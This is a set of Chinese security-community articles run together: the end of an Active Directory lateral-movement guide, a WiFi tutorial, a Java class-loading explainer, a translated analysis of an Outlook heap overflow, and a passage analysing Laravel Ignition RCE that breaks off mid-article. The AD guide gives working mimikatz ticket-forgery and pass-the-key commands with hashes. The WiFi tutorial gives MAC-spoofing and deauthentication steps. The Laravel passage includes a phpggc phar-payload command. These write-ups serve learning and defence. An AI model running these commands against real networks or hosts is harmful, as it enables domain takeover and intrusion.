MS14-068.exe -u [email protected] -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>
在同目录下生成了`.ccache`文件
3.票据注入
使用mimikatz将票据注入到当前内存中，伪造凭证，如果成功则拥有域管理权限，可任意访问域中所有机器
通过mimikatz进行票据注入
mimikatz # kerberos::purge //清空当前机器中所有凭证，如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
4.klist查看缓存票据
5.建立ipc连接
可以看到我们这里已经提升到dc权限，这里需要注意一个问题，如果要使用psexec或者wmi进行远程执行命令的操作，这里的ip就要换成主机名字，否则无法登录成功
### 利用kekeo ptt
这里使用到不用管理员权限进行ptt，使用到kekeo
1.生成票据
kekeo "tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
2.导入票据
kerberos::ptt [email protected][email protected]
3.查看票据并访问域控
### Golden ticket
> `Golden
> ticket`的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢？还得要看kerberos认证的过程,在windows认证过程中，客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密，生成TGT。
那么如果获取到了`krbtgt`的密码hash值，就可以伪造任意tgt了。
**因为krbtgt只有域控制器上面才有，所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门**
伪造黄金凭据需要具备下面条件：
* krbtgt用户的hash(就意味着你已经有域控制器权限了)
* 域名称
* 域的SID值
* 要伪造的用户名
先登录域控制器，dump krbtgt用户的hash值,获取域sid
privilege::debug
lsadump::lsa /patch
登录普通域用户生成TGT凭证
kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
注入黄金票据并访问域控
kerberos::ptt gold.kirbi
如果开启`rpc服务`则可以用`winexec.vbs`直接连接，这里我的域控没有开启`rpc服务`，所以这里连接没有成功
### Sliver ticket
`Sliver ticket`和`golden
ticket`不同的是,它不需要和域控制器进行通信，原理是伪造TGS，使用的是计算机账户的hash进行加密的，所以只能访问指定的权限。
不像是`Golden ticket`，是由krgtgt用户的密码hash进行加密，伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权，利用过程和`golden ticket`差不多，首先上域控制器中，把机器的ntlm hash(rc4加密)
dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
登录DC，抓取ntlm hash
mimikatz log privilege::debug sekurlsa::logonpasswords
在普通域用户中生成票据
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
****
查看票证访问域控
## PTK(pass the key)
在连接配置的时候允许使用hash进行认证，而不是只有账号密码才能认证。
就是由于在进行认证的时候，是用用户hash加密时间戳，即使在使用密码进行登录的情况下，也是先把密码加密成hash，再进行认证。因此在只有用户hash，没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中，如果hash的ntlm
hash，然后加密方式是rc4，这种就算做是pass the hash，如果是hash是aes
key(使用sekurlsa::ekeys导出来)，就算是pass the key。在很多地方，不支持rc4加密方式的时候，使用pass the
key不失为一种好方法。
获取aes key
mimikatz log privilege::debug sekurlsa::ekeys
注入aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d"
## 后记
作为一个小白，能够总结出来的横向移动都是一些很常规的方法，很多知识都是借鉴了大佬们的思想，等于说是站在巨人的肩膀上才总结出了这篇文章，在这里对提供思路的大佬们表示衷心的感谢。如果文章中有什么勘误，还请师傅们斧正。 | 社区文章 |
在上一篇的文章中为大家介绍了破解WiFi密码的几种姿势，在破解的过程中，我们自定义模拟操作环境，比较顺利的完成了相关加密方式的破解。但所谓有攻就有防，WiFi的用户也有着相对应的策略进行反破解和反接入，本篇介绍两种常见的防护机制的突破：
1. 无线路由器MAC地址过滤
2. 隐藏无线网络SSID
面对上述两种较为常见的防护机制，利用无线安全工具和一定的技巧即可破解绕过，这两种防护机制比较初级，在此我们依然利用Kali操作系统内置的工具进行破解。
1.突破MAC地址过滤
首先简单介绍一下什么是MAC地址。MAC地址是网络设备的唯一网络地址标示，本意为媒体访问控制，可以理解为网络设备的物理地址，对于每台网络设备，MAC地址是固定且唯一的，采用十六进制数表示，共六个字节。在前篇文章介绍的破解过程中，无线网卡、终端、路由器等设备的MAC地址，都是我们用来进行破解的重要数据。
MAC地址过滤防护机制，即通过预先在无线路由器内设定允许或者禁止访问本地网络的设备MAC地址列表，以白名单/黑名单的方式来控制网络设备的接入权限。这项安全机制在有线路由器和无线路由器中均存在，并不以连接方式有区别。路由器在接收到网络接入请求后，根据接入终端的MAC地址对照本地过滤设置规则中的MAC地址，判定是否允许网络终端进行接入行为。
无线路由器设置界面中常见的MAC地址过滤设置界面如下图所示：
上图中的“允许”和“禁止”就相当于白名单/黑名单的过滤机制。如果本地网络的网络终端比较固定，最好采用“允许”即白名单的方式，固定化终端MAC地址，也就是本地网络中只允许特定的几个终端进行接入。这种方式比“禁止”的黑名单方式安全性更高，但使用灵活度低。无论是白名单还是黑名单，路由器对接入终端的权限判断都基于MAC地址这单一选项，这就给攻击者创造了一种突破思路。
MAC地址过滤的突破方法可以参考下图（图片来自网络）：
主要的突破思路，就是通过修改本地的网络设备MAC地址，绕过目标路由器的过滤名单达到突破的目的。前文我们讲到，MAC地址虽然理论上唯一，但可以通过软件修改等方式，将本地设备的MAC地址临时修改为所需要的MAC地址。突破的步骤可以分为上图所示的四个步骤：
•探测合法无线客户端的MAC地址，可以使用airodump-ng工具实现
•修改攻击网卡的MAC地址，这个步骤可以在Windows或Linux中进行
•重新装载网卡设备，并检查是否已经更改成功
•连接无线接入点，完成突破防护的目的
在此提示大家，伪造完MAC地址后，接入目标网络，虽然突破的目标MAC地址过滤的限制，但可能由于同时有两个相同的MAC地址客户端，很容易出现数据包丢失、传输异常等问题，造成网络不稳定等不良反应。建议在获取了合法MAC地址并修改成功后，探测到目标网络中对应的设备不在线的时候再进行无线网络攻击操作。下面做一个突破过程的简单操作模拟。
首先打开Kali系统，打开一个终端，查看一下目前攻击环境的网络配置情况，使用ifconfig –a命令，如下图：
此处可以将我们使用的无线网卡MAC地址做一个记录，作为后续操作过程中的对比依据。按照之前的文章中介绍的，还需要将网卡激活至监听状态，如下图所示：
激活监听状态后，使用airodump-ng wlan0mon命令对周围信号进行探测：
此时，下方界面中的STATION，也就是已连接目标无线路由器的终端MAC地址，就是在启用MAC地址过滤时的“合法客户端”，这时探测到这个终端的MAC地址后，将其记录下来，作为我们后续需要修改的伪装MAC地址。
下一步就是突破MAC地址过滤的重点了，在Kali中，将我们所使用的无线网卡的MAC地址修改为刚才抓取到的合法客户端的MAC地址。目前无线网卡还在监听模式，首先将无线网卡的监听模式取消，使其成为普通工作状态，使用命令airmon-ng stop wlan0mon：
使用ifconfig –a命令检查一下：
修改无线网卡的MAC地址，在Kali中可以使用命令：
ifconfig wlan0 hw ether XX:XX:XX:XX:XX:XX（需要修改的合法客户端MAC地址）
此时可能会提示设备或资源忙：
原因是由于此时无线网卡虽然不处于监听状态，但还在工作状态，这种情况下需要对无线网卡进行一次“卸载”操作，使用命令ifconfig wlan0
down，再使用ifconfig –a命令，仍然可以看到wlan0无线网卡，但其已经不再处于工作状态。这时我们再运行一次ifconfig wlan0 hw
ether XX:XX:XX:XX:XX:XX命令，即可修改成功：
对比一下前面的截图，wlan0无线网卡的MAC地址已经从尾号C9:C4修改为84:99的新MAC地址。说明我们修改成功了，此时的无线网卡对目标无线路由器来说，已经变成了一个“合法客户端”。
后续的攻击操作，使用ifconfig –a wlan0 up加载无线网卡、使用airmon-ng start
wlan0将无线网卡激活至监听状态，按照前文的无线破解操作进行连接即可，特别提醒，最好在探测到目标同MAC地址客户端不在线的时候进行攻击破解操作，在这里不再重复破解过程。
在Kali中还可以使用另一个工具修改网卡MAC地址，使用命令macchanger –m XX:XX:XX:XX:XX:XX
wlan0，这里wlan0也是在不工作非监听状态，和上一种方法所述一致。如果大家在修改网卡MAC地址后重新加载至监听模式后，MAC地址又恢复了原本的MAC地址，未修改成功，可能是由于品牌不同的无线网卡驱动程序问题，需要大家多尝试一下。
在Windows操作系统中也有修改网卡MAC地址的工具，这里给大家简单介绍一款名叫SMAC的工具，如下图：
这个工具的操作很简单，在选中目标网卡，输入需要修改的MAC地址后，点击修改即可。在这里特别提醒，如果大家使用VMware虚拟机的Windows并且使用了桥接模式，需要将无线网卡连接到主系统，在VMware的虚拟网络编辑器中，将Windows虚拟机桥接到无线网卡上，才能对其MAC地址进行修改操作。
2.隐藏无线网络SSID
在无线路由器的设置中，如果目标使用了隐藏SSID选项，那么正常情况下，打开手机、平板的无线网络，是搜索不到目标的网络名称的，如下图所示：
这种情况下只有知道了网络SSID名称和密码并且手动添加输入才能够连接。但是要特别强调，关闭SSID广播功能仅仅是关闭了无线路由器广播信标帧中的SSID部分，并不代表无线路由器的无线信号就不发射和接收了。
对于这种隐藏了SSID的无线网络，在这里给大家介绍几种方式去获取SSID的名称。首先第一种使用airodump-ng和aireplay-ng进行DeAuth攻击获取SSID，这和前文我们所说在破解WPA2-PSK加密密码时的操作原理类似。在将无线网卡加载激活至监听模式后，使用airodump-ng进行信号探测，如下图：
图中标出的部分，就是本应显示SSID的无线网络，这里显示了一个长度为0的标示，也就是说目标无线网络的SSID是隐藏的，没有开启SSID广播功能，请注意，虽然SSID被隐藏，但是无线路由器的MAC地址以及其他信息还是能够探测到的。
新建一个终端窗口，使用aireplay-ng工具对已连接目标无线网络的无线客户端进行DeAuth攻击，反复多尝试几次，如下图：
攻击过程中，注意观察之前打开的airodump-ng工具的终端窗口，攻击成功后，原先的监控窗口中能够自动显示出原先未显示出来的SSID名称，如下图：
还可以通过一种被动探测的方式进行SSID获取，比较流行的一种工具就是kismet，这款工具也在Kali中集成了。被动探测相对于主动探测，隐蔽性更好，而且探测通信更加可靠。某些无线路由器对于主动探测，可以配置为不回复将SSID设置为“任意”的探测请求帧，若为被动探测，只有在有合法客户端与无线接入点进行连接时才能探测到SSID，因为只有产生连接认证时，SSID才能以明文方式出现在无线电信号中。下面我们简单演示一下使用kismet进行被动探测：
打开终端，输入kismet，运行，点击OK等，在启动过程中，需要启用kismet服务：
点击start后，进入Kismet，提示no
sources时选择yes加入一个接口，在intf栏中填写wlan0mon，也就是监听状态的无线网卡名称，点击add，即可开始探测过程，这个过程是被动探测的状态：
被动探测的速度是相对比较慢的，需要花更多的时间去等待探测结果，等待的时间足够长，kismet能够帮忙探测到隐藏SSID的信号：
<hidden
SSID>就是设置了隐藏SSID的无线网络信号，相对于主动发起DeAuth攻击不同，kismet提供了一种静默等待客户端连接目标无线网络时抓取SSID的能力，所以耐心是使用被动探测的前提条件，这里不再过多演示。
在Kali中，还可以使用wireshark和tcpdump等工具进行SSID的抓取，使用tcpdump的命令为tcpdump –n –e –vvv –i
wlan0mon，运行效果如下：
这个过程中根据所处环境信号的数量，会显示大量的无线网络信号的信息，对于隐藏的SSID，需要在其中仔细寻找。对于针对特定目标网络的SSID，并不推荐这种方法。使用wireshark如下图进行，采用正常抓包模式：
这种方法和使用tcpdump类似，采取盲抓的方式，适用于目标环境中无线信号较少的情况。使用这两款工具给大家提供了其他的获取思路，如果讨论实用性，获取特定目标的时候相对于前文所述的方式，还是要效率低很多。 | 社区文章 |
# 前言
Java 源码中经常会使用的 forName 去加载类。在学习 Java 安全中，会遇到各种形式的 forName
去获取类，但是却不知所云，为什么这种形式写法可以加载到目标类，但另一种形式写法不能加载到？
经在网上搜索，没有找到明确指出 forName 是如何加载类，且所能加载类的范围的文章。
所以本篇将介绍 forName 的作用域。首先将介绍几种类加载器 ，并不过多赘述，但确是必要的；之后将直接进入正题。
**有不对之处，请各位师傅指教斧正**
# 类加载器
类加载器的文章，网上有很多，不再赘述，但学习本文，我们需要知道类加载器的种类和关系：
**类加载器的关系**
**类加载器种类**
* BootstrapClassLoader，启动类加载器/根加载器。负责将存放在 `<JAVA_HOME>\lib` 目录中的，或被 -Xbootclasspath 参数指定的路径中的，并且是虚拟机可识别的（仅按照文件名识别，如 rt.jar，名字不符合的类库即使放在 lib 目录中也不会被加载）类库加载到虚拟机内存中。由于是C/C++代码实现的，故启动类加载器无法被 Java 程序直接引用。
* ExtClassLoader，扩展类加载器，位于sun.misc.Launcher$ExtClassLoader。负责将 <java_home>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中，库名通常以 javax 开头，开发者可以直接使用扩展类加载器。</java_home>
* AppClassLoader，应用程序类加载器（系统类加载器）。它负责将系统类路径（CLASSPATH）中指定的类库加载到内存中。开发者可以直接使用系统类加载器。
* 自定义类加载器
简单来说，这三种类加载器加载的 jar 包中的类，应该是我们执行代码时所能使用的全部的类。
我们可以通过如下代码 **查看类加载器所加载的jar包** ：
import java.net.URL;
import java.net.URLClassLoader;
public class printPath {
public static void main(String[] args) {
URL[] urls;
System.out.println("BootstrapClassLoader Load Path:");
urls = sun.misc.Launcher.getBootstrapClassPath().getURLs();
for (URL url : urls) {
System.out.println(url);
}
System.out.println("ExtClassLoader Load Path:");
urls = ((URLClassLoader) ClassLoader.getSystemClassLoader().getParent()).getURLs();
for (URL url : urls) {
System.out.println(url);
}
System.out.println("AppClassLoader Load Path:");
urls = ((URLClassLoader) ClassLoader.getSystemClassLoader()).getURLs();
for (URL url : urls) {
System.out.println(url);
}
}
}
如图，按照上文所说：bootstrapClassloader加载 lib 目录下的jar包；extClassLoader加载 lib/ext
目录下的jar包；appClassLoader加载 classPath 参数指定的jar包。（这里我们可以简单的将各个 jar 包内的类 **按加载器**
进行分类，这将在后文中提到。）
并且我们可以还通过双亲委派机制 **获取这三种类加载器** （这也将在后文用到）
public class getClassLoader {
public static void main(String[] args) {
ClassLoader appClassLoader = Thread.currentThread().getContextClassLoader();
ClassLoader extClassLoader = Thread.currentThread().getContextClassLoader().getParent();
ClassLoader bootStrapClassLoader = Thread.currentThread().getContextClassLoader().getParent().getParent();
System.out.println(appClassLoader);
System.out.println(extClassLoader);
System.out.println(bootStrapClassLoader);
}
}
# forName
forName在 Class.java 中有两种重载
* 第一种
public static Class<?> forName(String className)
* 第二种
public static Class<?> forName(String name, boolean initialize, ClassLoader loader)
因为第一种重载是第二种重载的一种用法的简写，所以我们重点关注第二种重载。
## 重载二
在不关注initialize参数的情况下，第二种有三种用法：
* 用法一，使用BootstrapClassloader加载器
public static Class<?> forName(String name, true, BootstrapClassloader)
* 用法二，使用ExtClassloader加载器
public static Class<?> forName(String name, true, ExtClassloader)
* 用法三，使用AppClassloader加载器
public static Class<?> forName(String name, true, ExtClassloader)
我们直接说结果：forName这三种用法的作用域，是其对应加载器的作用域（注意存在双亲委派机制）
举个例子：
public class forNameTest {
public static void main(String[] args) {
ClassLoader appClassLoader = Thread.currentThread().getContextClassLoader();
ClassLoader extClassLoader = Thread.currentThread().getContextClassLoader().getParent();
ClassLoader bootStrapClassLoader = Thread.currentThread().getContextClassLoader().getParent().getParent();
System.out.println(appClassLoader);
System.out.println(extClassLoader);
System.out.println(bootStrapClassLoader);
String name1 = "apple.applescript.AppleScriptEngine";
String name2 = "sun.security.ec.CurveDB";
String name3 = "com.intellij.rt.ant.execution.AntMain2";
String name = name1;
try{
Class.forName(name,false, bootStrapClassLoader);
}catch (Exception E){
System.out.println("bootStrapClassLoader加载器加载失败");
}
try{
Class.forName(name,false, extClassLoader);
}catch (Exception E){
System.out.println("extClassLoader加载器加载失败");
}
try{
Class.forName(name,false,appClassLoader);
}catch (Exception E){
System.out.println("appClassLoader加载器加载失败");
}
}
}
> 字符串变量 name1（AppleScriptEngine）是 bootstrapClassloader 加载的 rt.jar 包中的类全称
>
> 字符串变量 name2（CurveDB）是 extClassloader 加载的 sunec.jar 包中的类全称
>
> 字符串变量 name3（AntMain2）是 appclassLoader加载的 idea_rt.jar 包中的类全称。
令 name = name1，结果如下：
因为 name1（AppleScriptEngine）归属的 rt.jar 包由 bootstrapClassloader
加载。根据类加载的双亲委派机制，extClassLoader 加载 name1，会让父加载器 bootstrapClassloader 加载；同理
appClassLoader 加载 name1，会让父加载器 extCLassLoader 加载，extClassLoader 再让父加载器
bootstrapClassLoader 加载，故均成功。
令 name = name2，结果如下：
因为 name2（CurveDB）归属的 sunec.jar 包由 extClassLoader 加载。根据双亲委派机制，forName 调用其父加载器
bootstrapClassloader 无法加载该类，故 **报错** ；appClassLoader 加载器
name2（CurveDB）会调用其父加载器 extClassLoader 加载该类，会成功。
令 name = nam3，结果如下：
原理同上，name3（AntMain2）归属的的 idea_rt.jar 由 appclassLoader 加载。根据双亲委派机制，父加载器
extClassLoader及bootstrapClassLoader均无法加载该类，故 **报错** 。
## 重载一
现在我们关注第一种重载，只有两行代码
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
重点是`ClassLoader.getClassLoader(caller)`，简单来说就是获取调用类的加载器，然后使用该加载器去加载类。根据不同的类加载器，其加载类的范围与重载二一节中所描述的情况类似。
# 实例
在学习 0ctf2022 onlyjdk 时，看到[文章](https://xz.aliyun.com/t/11732)提到：
> 然后就是一个大坑。。。
>
>
> [
>
> 因为classLoader的原因 ，在SwingLazyValue这里只能加载rt.jar
> 里面的类而我找的jdk.nashorn.internal.codegen.DumpBytecode.dumpBytecode 位于nashorn.jar
> 里面
> 无法加载，在这里卡了很久 ，后来看到了个 ProxyLazyValue.createValue
这里无法加载 DumpBytecode 类的原因即是 classLoader 为null，即 bootstrapClassLoader
的情况下，forName 无法加载nashorn.jar 这个被扩展类加载器 ExtClassLoader 加载的 jar 包中的类文件。
文章作者也给出了解决办法
> 无法加载，在这里卡了很久 ，后来看到了个 `ProxyLazyValue.createValue`
>
>
> public Object createValue(final UIDefaults table) {
> if (acc == null && System.getSecurityManager() != null) {
> throw new SecurityException("null AccessControlContext");
> }
> return AccessController.doPrivileged(new PrivilegedAction<Object>() {
> public Object run() {
> try {
> Class<?> c;
> Object cl;
> if (table == null || !((cl = table.get("ClassLoader"))
> instanceof ClassLoader)) {
> cl = Thread.currentThread().
> getContextClassLoader();
> if (cl == null) {
> cl = ClassLoader.getSystemClassLoader();
> }
> }
> ReflectUtil.checkPackageAccess(className);
> c = Class.forName(className, true, (ClassLoader)cl);
> SwingUtilities2.checkAccess(c.getModifiers());
> if (methodName != null) {
> Class[] types = getClassArray(args);
> Method m = c.getMethod(methodName, types);
> return MethodUtil.invoke(m, c, args);
> } else {
>
> 获取到classLoader ，所以就能正常加载jdk 里面nashorn.jar 这些里面的类了
`ProxyLazyValue.createValue` 方法内获取到的 classLoader 为 AppClassLoader
根据双亲委派机制，可以加载 ExtClassLoader 加载的 nashorn.jar 包中的类 DumpBytecode
# 总结
forName 作用域，即其所能加载的类的范围，取决于加载器的加载范围。其中加载器一般有以下三个取值：
* null，即 bootstrapCLassLoader，启动类加载器
* extClassLoader 对象，即扩展类加载器
* appClassLoader 对象，即系统类加载器
且对于 forName 的第一种重载形式，加载器是`ClassLoader.getClassLoader(caller)`，即调用类的加载器；对于
forName 的第二种重载形式，加载器是参数指定的。
# 参考
* <https://zhuanlan.zhihu.com/p/73359363>
* <https://xz.aliyun.com/t/11732> | 社区文章 |
# 对CVE-2018-8587（Microsoft Outlook）漏洞的深入分析
|
##### 译文声明
本文是翻译文章，文章原作者 fortinet，文章来源：fortinet.com
原文地址：<https://www.fortinet.com/blog/threat-research/a-deep-analysis-of-the-microsoft-outlook-vulnerability-.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 事件经过
前一段时间，Fortinet的FortiGuard实验室研究员Yonghui Han按照FortiGuard
Labs的漏洞披露规则，向微软报告了Office
Outlook中存在的一个堆溢出漏洞。12月11日微软宣布该漏洞已被修补，并发布了漏洞通告，该漏洞的CVE编号为CVE-2018-8587
Microsoft Outlook是Microsoft
Office套件的组件之一，广泛用于发送和接收电子邮件，管理联系人，记录和跟踪日程安排以及执行其他任务。Yonghui
Han在Windows上运行的多个版本的Outlook中发现了堆溢出漏洞，该漏洞涵盖从Outlook 2010到最新的Outlook
2019以及Office 365
ProPlus的所有32/64位版本的软件。该漏洞通过构造格式错误的RWZ文件（邮件分类规则文件）触发，当Outlook接受到不正确的RWZ文件时，它分配的堆空间过少而且缺少合适的边界检查，导致堆溢出漏洞产生。
## 漏洞复现
复现流程：运行Microsoft
Outlook，然后单击“规则=>管理规则和警报=>选项=>导入规则”，然后选择导致Outlook崩溃的PoC文件，接着进行漏洞的分析。
以下是发生崩溃时的调用堆栈：
可以看到，崩溃发生在堆块被释放时。由于我们现在无法确认被释放的堆块有什么问题，所以我们通过启用Full Page Heap机制来跟踪有问题的堆块。命令如下：
YOUR_WINDBG_INSATALL_LOCATIONgflags.exe /p /enable outlook.exe /full
下面的返回结果，表明命令成功执行。
然后我们再次复现来监视新堆栈
现在我们可以看到ECX指向的非零内存地址是不可读的，并且在将数据写入该内存地址时会发生异常。判断出程序很有可能尝试将数据写入未分配（或未释放）的内存地址。我们可以通过检查内存页面分配情况进行判断。内存页面分配情况显示这里依然存在保留的内存空间。如下图所示：
我们现在需要弄清楚程序为什么要将数据写入未使用的内存页面。通过静态分析，我们可以看到ECX的值来自EDI，并且在调用MAPIAllocateBuffer之后程序似乎正在修改EDI，如下图所示：
通过静态分析，我们了解到函数MAPIAllocateBuffer是RtlAllocateHeap的包装函数，它用于确保请求的堆大小参数不大于0x7FFFFFF7。这意味着它不是一个负值。但是，在这种情况下，它不会检查0是否可以作为参数。并且因为实际分配的堆大小比请求的堆大小多8个字节，所以这8个字节用0x0000000001000010填充。此后，MAPIAllocateBuffer在这8个字节后返回堆地址。因此，调用MAPIAllocateBuffer后的EDI值为8
加上 从RtlAllocateHeap接收的分配的堆地址。如下图所示：
从上面的静态分析中，我们可以基本判断出向保留的内存空间中写入数据的原因极有可能是由整数溢出引起的。结合调试，我们发现调用MAPIAllocateBuffer的堆大小值确实为0。但是，由于MAPIAllocateBuffer请求分配大小为0
+ 8 =
8的堆，因此RtlAllocateHeap不会返回错误而是会返回正确的堆地址。但是，MAPIAllocateBuffer会向这8个字节写入0x0000000001000010，然后向用户返回无效的heap-tail地址。如下图所示：
接下来，我们需要弄清楚为什么请求的堆大小的值变为0。结合调试和静态分析，我们发现0来自当前函数的参数：arg_4（eax = arg_4 * 4 + 4）
。但是，在调用当前函数时，arg_4的值不并是传入参数的值，说明此函数会修改arg_4。通过调试我们可以看到修改的功能是在子函数sub_65F7DA中完成的。如下图所示：
通过对子函数sub_65F7DA的分析，我们发现它是另一个包装函数。经过一系列调试后，我们终于发现函数ReadFile，也就是arg_4的值，实际上来自PoC文件。如下图所示：
调试显示arg_4读取的文件中的内容为0xFFFFFFFF，通过整数溢出，使得传递的堆的分配大小为0xFFFFFFFF * 4 + 4 =
0。但是，程序没有检查这一点，导致在下一个堆中出现Out-of-Bounds问题。如下图所示：
检查PoC文件，我们可以看到0xFFFFFFFF值确实存在。
将其修改为0xAABBCCDD，我们再次执行调试并设置相同的断点来验证溢出是由这4个字节引起的。
到这里我们成功分析出漏洞产生的原因！
接下来，通过在Patch发布之后比较程序的汇编代码，我们可以看到现在程序已经添加了对所请求的分配堆大小的验证。如下图所示：
## 解决方法
更新即可 | 社区文章 |
## 测试环境
* OS: `MAC OS`
* PHP: `7.3.18`
* Laravel：`8.22.0`
## 环境搭建
根据原文（<https://www.ambionics.io/blog/laravel-debug-rce>）的搭建方式，把服务开起来。
访问`http://127.0.0.1:8000/`
可以看到这时候`Ignition`（Laravel
6+默认错误页面生成器）给我们提供了一个solutions，让我们在配置文件中给Laravel配置一个加密key。
点击按钮后会发送一个请求
通过这个请求`Ignition`成功在配置文件中生成了一个key。
接着页面就可以正常访问了，环境也就搭建完了
## 漏洞分析
漏洞其实就是发生在上面提到的`Ignition`（<=2.5.1）中，`Ignition`默认提供了以下几个solutions。
通过这些solutions，开发者可以通过点击按钮的方式，快速修复一些错误。
本次漏洞就是其中的`vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php`过滤不严谨导致的。
首先我们到执行solution的控制器当中去，看看是如何调用到solution的
<?php
namespace Facade\Ignition\Http\Controllers;
use Facade\Ignition\Http\Requests\ExecuteSolutionRequest;
use Facade\IgnitionContracts\SolutionProviderRepository;
use Illuminate\Foundation\Validation\ValidatesRequests;
class ExecuteSolutionController
{
use ValidatesRequests;
public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();
$solution->run($request->get('parameters', []));
return response('');
}
}
接着调用solution对象中的`run()`方法，并将可控的`parameters`参数传过去。通过这个点我们可以调用到`MakeViewVariableOptionalSolution::run()`
<?php
namespace Facade\Ignition\Solutions;
use Facade\IgnitionContracts\RunnableSolution;
use Illuminate\Support\Facades\Blade;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
...
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output);
}
}
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']);
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);
$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));
$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);
if ($expectedTokens !== $newTokens) {
return false;
}
return $newContents;
}
protected function generateExpectedTokens(array $originalTokens, string $variableName): array
{
$expectedTokens = [];
foreach ($originalTokens as $token) {
$expectedTokens[] = $token;
if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_COALESCE, '??', $token[2]];
$expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
$expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
}
}
return $expectedTokens;
}
}
可以看到这里主要功能点是：读取一个给定的路径，并替换`$variableName`为`$variableName ?? ''`，之后写回文件中。
由于这里调用了`file_get_contents()`，且其中的参数可控，所以这里可以通过`phar://`协议去触发phar反序列化。
如果后期利用框架进行开发的人员，写出了一个文件上传的功能。那么我们就可以上传一个恶意phar文件，利用上述的`file_get_contents()`去触发phar反序列化，达到rce的效果。
### phar反序列化
从phpggc里拿一条laravel中存在的拓展的链子。
./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o /Applications/MxSrvs/www/laravel/phar.gif
是可以成功利用的。
但是原文作者给出了一种基于框架触发phar反序列化的方法：将log文件变成合法的phar文件。
### log 转 phar
先来看看正常的log文件长什么样
* `/storage/logs/laravel.log`
[2021-01-14 04:32:43] local.ERROR: file_get_contents(AA): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(AA): failed to open stream: No such file or directory at /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', '/Applications/M...', 75, Array)
#1 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents('AA')
#2 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->makeOptional(Array)
#3 /Applications/MxSrvs/www/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution->run(Array)
#4 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController->__invoke(Object(Facade\\Ignition\\Http\\Requests\\ExecuteSolutionRequest), Object(Facade\\Ignition\\SolutionProviders\\SolutionProviderRepository))
#5 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(254): Illuminate\\Routing\\ControllerDispatcher->dispatch(Object(Illuminate\\Routing\\Route), Object(Facade\\Ignition\\Http\\Controllers\\ExecuteSolutionController), '__invoke')
#6 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Routing/Route.php(197): Illuminate\\Routing\\Route->runController()
...
#34 /Applications/MxSrvs/www/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#35 /Applications/MxSrvs/www/laravel/public/index.php(52): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#36 /Applications/MxSrvs/www/laravel/server.php(21): require_once('/Applications/M...')
#37 {main}
"}
#### 清空log文件
作者在文章中提出了使用`php://filter`中的`convert.base64-decode`过滤器的特性，将log清空。
可以看到`convert.base64-decode`过滤器会将一些非base64字符给过滤掉后再进行`decode`，所以可以通过调用多次`convert.base64-decode`多次触发该特性来将log清空。
但是这样做其实会出现一些非预期的问题
如果在某次decode时，`=`号后面出现了别的base64字符，那么php是会报一个Warning的。且由于laravel开启了debug模式，所以会触发`Ignition`生成错误页面，导致decode后的字符没有成功写入。
